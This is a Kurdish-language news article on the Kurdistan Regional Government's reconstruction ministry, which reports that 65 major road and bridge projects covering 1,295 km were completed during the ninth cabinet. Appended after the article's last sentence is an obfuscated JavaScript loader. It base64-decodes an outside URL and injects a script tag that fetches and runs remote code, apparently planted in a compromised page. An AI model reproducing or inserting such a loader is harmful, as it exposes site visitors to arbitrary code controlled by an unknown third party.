65 پڕۆژەیێن مەزن یێن رێك و پرا ب درێژاهییا هزار و 295 كیلۆمەتران هاتنە جێبەجێ كرن
ئەترووشی:
وەزارەتا ئاڤەدانكرن و ئاكنجیبونێ ئاشكرا كر، ل كابینا نەهێ یا حوكمەتا هەرێما كوردستانێ، 440 پڕۆژە ب كوژمێ 912 ملیار و 132 ملیۆن دیناران هاتینە جێبەجێ كرن و دبێژیت: «65 پڕۆژێن مەزن یێن رێك و پران ب درێژاهییا هزار و 295 كیلۆمەتران ب كوژمێ 883 ملیار دیناران هاتینە جێبەجێ كرن.»
د. ئاگرین عەبدوڵا، بریكارێ وەزارەتا ئاڤەدانكرن و ئاكنجیبنێ یا حكوومەتا هەرێما كوردستانێ، بۆ رۆژناما ئەڤرۆ ڕاگەهاند: «ل چوار سالێن تەمەنێ كابینا نەهێ یا حكوومەتا هەرێما كوردستانێ، وەزارەتا ئاڤەدانكرن و ئاكنجیبونێ ل سەر سێ جۆرا بودجا پرۆژێن رێك و پران جێبەجێ كرینە، ئەو ژی بودجا وەبەرهێنانێ، ئاسایی، داهاتێ وێستگەهێن كێشی، كۆ تنێ ل سەر بودجا وەبەرهێنانێ 65 پڕۆژێن مەزن یێن رێك و پران دروست كرینە.»
زێدەتر گۆت: «ئەو 65 پڕۆژێن رێك و پران ب درێژاهییا هزار و 295 كیلۆمەتران بوویە و ب كوژمێ 883 ملیار دینار هاتینە جێبەجێ كرن، بۆ نموونە، ڕێكا دوو سایدا ناڤبەرا هەولێر بۆ دهۆك، كۆ ژ بلی د دەمەكێ كێم نەبیت، هەمی ڕێكێن ناڤبەرا ڤان دوو پارێزگەها بوویە دووساید، هەڤدەم چەندین تونێلێن مەزن پێكهاتیە، وەك تونێلا پیرمام و ب ڕێكێن وێ یێن بەستنێ ژیڤە، ئەڤە ژ بلی دەهان پڕۆژێن بچیك و ناڤنجیێن دی یێن رێك و پران، كۆ د ڤێ كابینێدا هاتینە جێبەجێ كرن.»
ئاگرین عەبدوڵا، زەلال ژی كر: «184 پڕۆژێن بچیك و ناڤنجی، ب كوژمێ 17 ملیار و 150 ملیۆن دیناران، هەڤدەم ل سەر بودجا وێستگەهێن كێش 191 پڕۆژە ب كوژمێ 11 ملیار و 980 ملیۆن دیناران جێبەجێ كرن.»
وی بەرپرسێ وەزارەتا ئاڤەدانكرنێ گۆت: «ب شێوەكێ گشتی، وەزارەتا ئاڤەدانكرن و ئاكنجیبونێ د ژیێ كابینا نەهێ یا حكوومەتا هەرێما كوردستانێدا، 440 پڕۆژە ب كوژمێ 912 ملیار و 132 ملیۆن دیناران جێبەجێ كرینە.»(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
